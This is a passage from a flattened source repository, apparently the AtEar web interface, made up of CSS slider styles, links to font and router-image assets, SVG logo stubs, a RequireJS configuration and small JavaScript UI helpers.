.range::-moz-range-thumb { 132 | cursor: pointer; 133 | position: relative; 134 | height: 29px; 135 | width: 29px; 136 | background-color: #fff; 137 | border: 1px solid rgba(24, 103, 194, 0.81); 138 | border-radius: 30px; 139 | box-shadow: none; 140 | margin: 0; 141 | padding: 0; 142 | } 143 | 144 | .range::-webkit-slider-thumb:before { 145 | position: absolute; 146 | top: 13px; 147 | right: 0px; 148 | left: -1024px; 149 | width: 1024px; 150 | height: 2px; 151 | background-color: rgba(24, 103, 194, 0.81); 152 | content: ''; 153 | margin: 0; 154 | padding: 0; 155 | } 156 | 157 | .range:disabled { 158 | opacity: 0.3; 159 | cursor: default; 160 | pointer-events: none; 161 | } -------------------------------------------------------------------------------- /static/css/themes/basic/assets/fonts/icons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/basic/assets/fonts/icons.eot -------------------------------------------------------------------------------- /static/css/themes/basic/assets/fonts/icons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/basic/assets/fonts/icons.ttf -------------------------------------------------------------------------------- /static/css/themes/basic/assets/fonts/icons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/basic/assets/fonts/icons.woff -------------------------------------------------------------------------------- /static/css/themes/default/assets/fonts/icons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/default/assets/fonts/icons.eot -------------------------------------------------------------------------------- /static/css/themes/default/assets/fonts/icons.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/default/assets/fonts/icons.otf -------------------------------------------------------------------------------- /static/css/themes/default/assets/fonts/icons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/default/assets/fonts/icons.ttf -------------------------------------------------------------------------------- /static/css/themes/default/assets/fonts/icons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/default/assets/fonts/icons.woff -------------------------------------------------------------------------------- /static/css/themes/default/assets/fonts/icons.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/default/assets/fonts/icons.woff2 -------------------------------------------------------------------------------- /static/css/themes/default/assets/images/flags.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/default/assets/images/flags.png -------------------------------------------------------------------------------- /static/css/themes/norma/assets/fonts/icons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/norma/assets/fonts/icons.eot -------------------------------------------------------------------------------- /static/css/themes/norma/assets/fonts/icons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/norma/assets/fonts/icons.ttf -------------------------------------------------------------------------------- /static/css/themes/norma/assets/fonts/icons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/norma/assets/fonts/icons.woff -------------------------------------------------------------------------------- /static/css/themes/norma/assets/fonts/icons.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/norma/assets/fonts/icons.woff2 -------------------------------------------------------------------------------- /static/css/themes/norma/assets/images/flags.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/css/themes/norma/assets/images/flags.png -------------------------------------------------------------------------------- /static/images/a104ns.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/a104ns.jpg -------------------------------------------------------------------------------- /static/images/iptime/a1004.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a1004.jpg -------------------------------------------------------------------------------- /static/images/iptime/a1004v.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a1004v.jpg -------------------------------------------------------------------------------- /static/images/iptime/a104ns.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a104ns.jpg -------------------------------------------------------------------------------- /static/images/iptime/a2004.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a2004.jpg -------------------------------------------------------------------------------- /static/images/iptime/a2004ns.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a2004ns.jpg -------------------------------------------------------------------------------- /static/images/iptime/a2004nsplus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a2004nsplus.jpg -------------------------------------------------------------------------------- /static/images/iptime/a2004plus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a2004plus.jpg -------------------------------------------------------------------------------- /static/images/iptime/a3004.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a3004.jpg -------------------------------------------------------------------------------- /static/images/iptime/a3004ns.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a3004ns.jpg -------------------------------------------------------------------------------- /static/images/iptime/a5004ns.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a5004ns.jpg -------------------------------------------------------------------------------- /static/images/iptime/a604.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a604.jpg -------------------------------------------------------------------------------- /static/images/iptime/a604v.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/a604v.jpg -------------------------------------------------------------------------------- /static/images/iptime/n1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n1.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104a.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104a.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104i.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104k.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104k.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104m.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104m.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104plus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104plus.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104q.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104q.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104r.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104r.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104r3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104r3.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104s.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104s.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104sr1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104sr1.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104t.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104t.jpg -------------------------------------------------------------------------------- /static/images/iptime/n104v.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n104v.jpg -------------------------------------------------------------------------------- /static/images/iptime/n1e.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n1e.jpg -------------------------------------------------------------------------------- /static/images/iptime/n1plus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n1plus.jpg -------------------------------------------------------------------------------- /static/images/iptime/n2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n2.jpg -------------------------------------------------------------------------------- /static/images/iptime/n2e.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n2e.jpg -------------------------------------------------------------------------------- /static/images/iptime/n2eplus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n2eplus.jpg -------------------------------------------------------------------------------- /static/images/iptime/n2plus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n2plus.jpg -------------------------------------------------------------------------------- /static/images/iptime/n3004.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n3004.jpg -------------------------------------------------------------------------------- /static/images/iptime/n5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n5.jpg -------------------------------------------------------------------------------- /static/images/iptime/n504.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n504.jpg -------------------------------------------------------------------------------- /static/images/iptime/n5r1_01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n5r1_01.jpg -------------------------------------------------------------------------------- /static/images/iptime/n6004.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n6004.jpg -------------------------------------------------------------------------------- /static/images/iptime/n6004m.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n6004m.jpg -------------------------------------------------------------------------------- /static/images/iptime/n6004r.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n6004r.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604a.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604a.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604i.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604i.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604m.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604m.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604plus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604plus.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604r.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604r.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604rplus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604rplus.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604s.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604s.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604t.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604t.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604tplus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604tplus.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604v.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604v.jpg -------------------------------------------------------------------------------- /static/images/iptime/n604vplus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n604vplus.jpg -------------------------------------------------------------------------------- /static/images/iptime/n608.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n608.jpg -------------------------------------------------------------------------------- /static/images/iptime/n7004ns.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n7004ns.jpg -------------------------------------------------------------------------------- /static/images/iptime/n704.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n704.jpg -------------------------------------------------------------------------------- /static/images/iptime/n704a.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n704a.jpg -------------------------------------------------------------------------------- /static/images/iptime/n704a3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n704a3.jpg -------------------------------------------------------------------------------- /static/images/iptime/n704bcm.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n704bcm.jpg -------------------------------------------------------------------------------- /static/images/iptime/n704m.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n704m.jpg -------------------------------------------------------------------------------- /static/images/iptime/n704ns.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n704ns.jpg -------------------------------------------------------------------------------- /static/images/iptime/n704s.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n704s.jpg -------------------------------------------------------------------------------- /static/images/iptime/n704v.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n704v.jpg -------------------------------------------------------------------------------- /static/images/iptime/n704v3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n704v3.jpg -------------------------------------------------------------------------------- /static/images/iptime/n8004.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n8004.jpg -------------------------------------------------------------------------------- /static/images/iptime/n8004r.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n8004r.jpg -------------------------------------------------------------------------------- /static/images/iptime/n804.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n804.jpg -------------------------------------------------------------------------------- /static/images/iptime/n804a.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n804a.jpg -------------------------------------------------------------------------------- /static/images/iptime/n804a3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n804a3.jpg -------------------------------------------------------------------------------- /static/images/iptime/n804t.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n804t.jpg -------------------------------------------------------------------------------- /static/images/iptime/n804t3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n804t3.jpg -------------------------------------------------------------------------------- /static/images/iptime/n804v.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n804v.jpg -------------------------------------------------------------------------------- /static/images/iptime/n904.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n904.jpg -------------------------------------------------------------------------------- /static/images/iptime/n904ns.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n904ns.jpg -------------------------------------------------------------------------------- /static/images/iptime/n904plus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n904plus.jpg -------------------------------------------------------------------------------- /static/images/iptime/n904vplus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/n904vplus.jpg -------------------------------------------------------------------------------- /static/images/iptime/nx505.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/nx505.jpg -------------------------------------------------------------------------------- /static/images/iptime/smart.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/iptime/smart.jpg -------------------------------------------------------------------------------- /static/images/sort_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/sort_asc.png -------------------------------------------------------------------------------- /static/images/sort_asc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/sort_asc_disabled.png -------------------------------------------------------------------------------- /static/images/sort_both.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/sort_both.png -------------------------------------------------------------------------------- /static/images/sort_desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/sort_desc.png -------------------------------------------------------------------------------- /static/images/sort_desc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/images/sort_desc_disabled.png -------------------------------------------------------------------------------- /static/img/Atear_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/img/Atear_logo.png -------------------------------------------------------------------------------- /static/img/atear_logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 18 | 26 | 37 | 49 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /static/img/atear_logo_white.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | 8 | 9 | 10 | 20 | 28 | 39 | 51 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | -------------------------------------------------------------------------------- /static/img/atear_logo_white_beta.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 8 | 9 | 10 | 11 | 21 | 30 | 41 | 53 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | beta 90 | 91 | -------------------------------------------------------------------------------- /static/img/glass.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/img/glass.jpg -------------------------------------------------------------------------------- /static/img/glass2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/img/glass2.jpg -------------------------------------------------------------------------------- /static/img/pavicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/static/img/pavicon.ico -------------------------------------------------------------------------------- /static/js/config.js: -------------------------------------------------------------------------------- 1 | // Original concepts provided by Backbone Boilerplate project: https://github.com/tbranyen/backbone-boilerplate 2 | require.config({ 3 | // Initialize the application with the main application file 4 | deps: ["main"], 5 | 6 | baseUrl: "static/js", 7 | 8 | paths: { 9 | // Libraries 10 | 'jquery': "libs/jquery", 11 | 'lodash': "libs/lodash.min", 12 | 'backbone': "libs/backbone.min", 13 | 'semantic': "libs/semantic.min" 14 | }, 15 | 16 | shim: { 17 | 'jqeury': { 18 | exports: '$' 19 | }, 20 | 'lodash': { 21 | exports: '_' 22 | }, 23 | 'backbone': { 24 | deps: ['jquery','lodash'], 25 | exports: "Backbone" 26 | }, 27 | 'semantic': { 28 | deps: ['jquery'], 29 | exports: '$' 30 | } 31 | } 32 | }); 33 | -------------------------------------------------------------------------------- /static/js/libs/fullscreen.js: -------------------------------------------------------------------------------- 1 | function requestFullScreen() { 2 | var element = document.body; 3 | console.debug(element); 4 | // Supports most browsers and their versions. 5 | var requestMethod = element.requestFullScreen || element.webkitRequestFullScreen || element.mozRequestFullScreen || element.msRequestFullScreen; 6 | 7 | if (requestMethod) { // Native full screen. 8 | requestMethod.call(element); 9 | } else if (typeof window.ActiveXObject !== "undefined") { // Older IE. 10 | var wscript = new ActiveXObject("WScript.Shell"); 11 | if (wscript !== null) { 12 | wscript.SendKeys("{F11}"); 13 | } 14 | } 15 | docElm = document.documentElement; 16 | if (docElm.requestFullscreen) { 17 | docElm.requestFullscreen(); 18 | } 19 | else if (docElm.mozRequestFullScreen) { 20 | docElm.mozRequestFullScreen(); 21 | } 22 | else if (docElm.webkitRequestFullScreen) { 23 | docElm.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT); 24 | } 25 | } -------------------------------------------------------------------------------- /static/js/libs/jquery.tablescroll.js: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Copyright (c) 2009 Dimas Begunoff, http://www.farinspace.com 4 | 5 | Licensed under the MIT license 6 | http://en.wikipedia.org/wiki/MIT_License 7 | 8 | Permission is hereby granted, free of charge, to any person 9 | obtaining a copy of this software and associated documentation 10 | files (the "Software"), to deal in the Software without 11 | restriction, including without limitation the rights to use, 12 | copy, modify, merge, publish, distribute, sublicense, and/or sell 13 | copies of the Software, and to permit persons to whom the 14 | Software is furnished to do so, subject to the following 15 | conditions: 16 | 17 | The above copyright notice and this permission notice shall be 18 | included in all copies or substantial portions of the Software. 19 | 20 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 21 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES 22 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 23 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 24 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 25 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 26 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 27 | OTHER DEALINGS IN THE SOFTWARE. 28 | 29 | */ 30 | 31 | ;(function($){ 32 | 33 | var scrollbarWidth = 0; 34 | 35 | // http://jdsharp.us/jQuery/minute/calculate-scrollbar-width.php 36 | function getScrollbarWidth() 37 | { 38 | if (scrollbarWidth) return scrollbarWidth; 39 | var div = $('
